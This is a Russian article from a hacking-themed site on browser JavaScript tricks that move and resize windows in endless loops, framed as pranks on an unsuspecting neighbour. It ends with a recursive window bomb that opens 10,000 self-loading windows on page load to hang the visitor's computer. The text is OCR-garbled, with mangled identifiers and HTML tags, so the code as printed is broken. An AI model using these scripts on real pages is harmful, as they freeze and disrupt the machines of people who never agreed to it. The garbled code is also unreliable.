V-zlom.ru » Статьи » Как написать скрипт для браузера

Как написать скрипт для браузера

Внимай, даю установку: скрипты — это круто. Ты это знаешь, я это знаю, короче — мы это знаем. Установку дал! Успешно. Теперь о них — любимых скриптах — и поговорим. Приятно наваять своими ручками ка- кую-нибудь скриптятину на яве и дать соседу-ламаку пропереться, а по- ка тот будет ее разглядывать — дать ему пинка. Вот только бага: по ходу все клевое в скриптинге уже придумано. Предложить что-либо карди- нально новое (во всяком случае, мне) уже сложно, лучше пива попить пойти. С другой стороны, можно легко насочинять целый ворох вторич- ных вещей, которые при ближайшем рассмотрении сведутся к Нагромож- дению все тех же базовых методов. А это неправильно — вторичное само по себе на хрен никому не нужно. Наконец (не на конец, а в конце концов!), наступило «творческое озарение»: если нельзя ничего выжать внутри документа, то надо перехо- дить на качественно новый уровень манипуляции самим окном броузера. Сначала чуть-чуть информации для тех, кто забыл (или не знал). В объектной модели современных броузеров (под современными я имею в виду Internet Explorer и Netscape Navigator) есть два очень интерес- ных метода: window.resizeTo (x,y) и window.moveTo (x,y), которые сулят просто огромные возможности. Первый метод изменяет размер «смотро- вого окна» броузера до указанных размеров (то есть х на у пикселей), а второй перемещает само окно, помещая левый верхний угол в точку с ко- ординатами х по горизонтали и у по вертикали. Таким образом, грамотно используя эти два метода, ты легко можешь добиться весьма интересных эффектов, которые буквально валят с ног неподготовленного зрителя.

Для начала давай рассмотрим простенький скриптик, отвечающий за перемещение окна броузера по десктопу и его отражение от «краев» экрана:

                                     Скрипт 1:

Окно в стиле Xenix

<script language = javascript> // Начинаем script блок function move_the_window(){ // Наша стартовая функция window.resizeTo(screen. width/2, screen, height/2);- // Сначала сжимаем окно до половины рабочего стола window.moveTo(1,1); // Теперь помещаем его в левый верхний угол экрана var x=1; // Это будет наша Х-координата. Вначале равна единице var y=1; // Это будет наша Y-координата. Вначале равна единице var dx=7; // Смещение по X var dy=10; // ... и по Y move(); // Теперь вызываем функцию, которая и будет двигать окно function move(){ // .Объявляем функцию while(true){ // Объявляем бесконечный цикл if(x>=(screen.width) || x<=0) dx=-dx; // В случае, если окно на краю экрана по X, меняем направление if(y>=(screen.height) || y<=0) dy=-dy; // To же самое, но уже для Y x+=dx; // Сдвинули по горизонтали y+=dy; // ... и по вертикали window.moveTo (x,y); // Нарисовали окно на новом месте } // Конец нашего бесконечного цикла } // Конец функции move } // Конец функции move_the_window // Ну, и закрываем script блок </script> <html> <head> <title>8cript NK/title> </head> <body onload = "move_the_window()"> <centerxfont face = Tiroes size = 6 color =redxi>javascript is cool! </i></fontx/center> </body> </html> Как только страница полностью загружена, вызывается функция move_the_window. Она объявляет все необходимые переменные и помеща- ет окно в левый верхний угол рабочего стола. Методы screen.width и screen.height возвращают нам значения (ширину и высоту) рабочего сто- ла, и, уже зная их, мы сжимаем окно до половины.

Теперь приступим к функции move. Так как все действия здесь вы- полняются внутри бесконечного цикла, то окно так и будет безостановоч- но бегать по экрану. Попытка же свернуть его через task manager Приведет к интересным визуальным эффектам (советую убедиться на собственном опыте). В случае, если ты хочешь, чтобы цикл выполнялся определенное количество раз, замени оператор while на while(var i < твое число) и добавь в конце цикла оператор i++. С помощью метода resizeTo можно делать довольно любопытные вещи. Посмотри, как можно сжать окно до размеров заглавной рамки и заставить все это, как обычно, бегать по экрану:

                             Скрипт 2:

 Развитие темы

<script language = javascript> // Начинаем script блок function move_the_windows(){ // Наша стартовая функция window. resizeTo(screen.width, 25); // Сжимаем окно номер 1 window.moveTo(0,1); // Теперь помещаем его в левый верхний угол экрана window2 = ореп("", null); // Создаем объект второго окна window2.document.write("<title> Window N2</title>"); // Пишем в не- го заголовок window2.resizeTo(screen.width,25); // Сжимаем его и window2.moveTo(0, screen.height-25); // помещаем в низ экрана var dy1=2; // Начальное смещение для верхнего окна var dy2=-2; // ... и для нижнего var y1 = 1; // Y-координата верхнего окна var y2 = screen.height-25; // и Y-координата нижнего move(); // Теперь вызываем функцию, которая и будет двигать оба окна function move(){ // Объявляем функцию while(true){ // Объявляем бесконечный цикл if (y1>=(screen.height) || y1 <=0) dy1=-dy1; // Меняем направление if (y2>=(screen.height) || y2 <=0) dy2=-dy2; // To же для второго окна y1+=dy1; // Сдвинули первое окно по вертикали y2+=dy2; // ... и второе window.moveTo (0,y1); // Нарисовали первое окно на новом месте window2.moveTo (0,y2); // Нарисовали второе окно на новом месте } // Конец нашего бесконечного цикла } // Конец функции move } // Конец функции move_the_windows // Ну, и закрываем script блок </script> <html> <head> <title>Script N2 Window 1</title></head> <bodyonload = "move_the_windows()"> <centerxfontface = Timessize = 6 color =redxi>javascriptiscool! </ix/fontx/center> </body> </html> По сути, этот скрипт является расширением первого: новым явля- ется наличие двух окон, которые движутся независимо. Обрати внимание на механизм создания второго окна и способ записи HTML-тэгов через document.write, Теперь, познакомившись с этими методами, ты, наверно уже зада- ешь себе вопрос: а нельзя ли через этот самый javascript подвесить кли- ентский компьютер? Что ж, это вполне возможно. Метод прост до не- приличия: все, что только нужно делать, — открывать новые окна с максимальной быстротой. В этом случае у системы просто не хватает ре- сурсов, и все «повисает». Другое дело, что, на мой взгляд, этот примити- визм не является чем-то по-настоящему интересным, и, вероятно, раз оз- накомившись с этим дубовым методом, ты больше не будешь тратить свое время на эту муру:

 

               Скрипт 3:

 Генерация множества окон:

<script language = javascript> // Начинаем script блок function generate_windows(){ // Наша стартовая функция var 1=1; while (i < 10000){ // Главный цикл window.open("script3.htm")l // Новое окно с ссылкой на тот же HTML файл i++; // Увеличиваем счетчик цикла } // Конец цикла } // Конец generate_windows // Закрываем script блок </script> <html> <head> <title>Multiple windows</title> </head> <body onload = "generate_windows()"> </body> </htnl> Фактически в теле главного цикла скрипт пробует открыть 10000 окон, причем каждое окно ссылается на тот же файл, то есть в свою оче- редь пытается открыть еще ГОООО окон и т.д. Система просто не справля- ется с таким потоком и, увы, повисает

  • Автор: admin
  • Комментарии: 0
  • Просмотры: 5034
0

Добавить комментарий

Вы не авторизованы и вам запрещено писать комментарии. Для расширенных возможностей зарегистрируйтесь!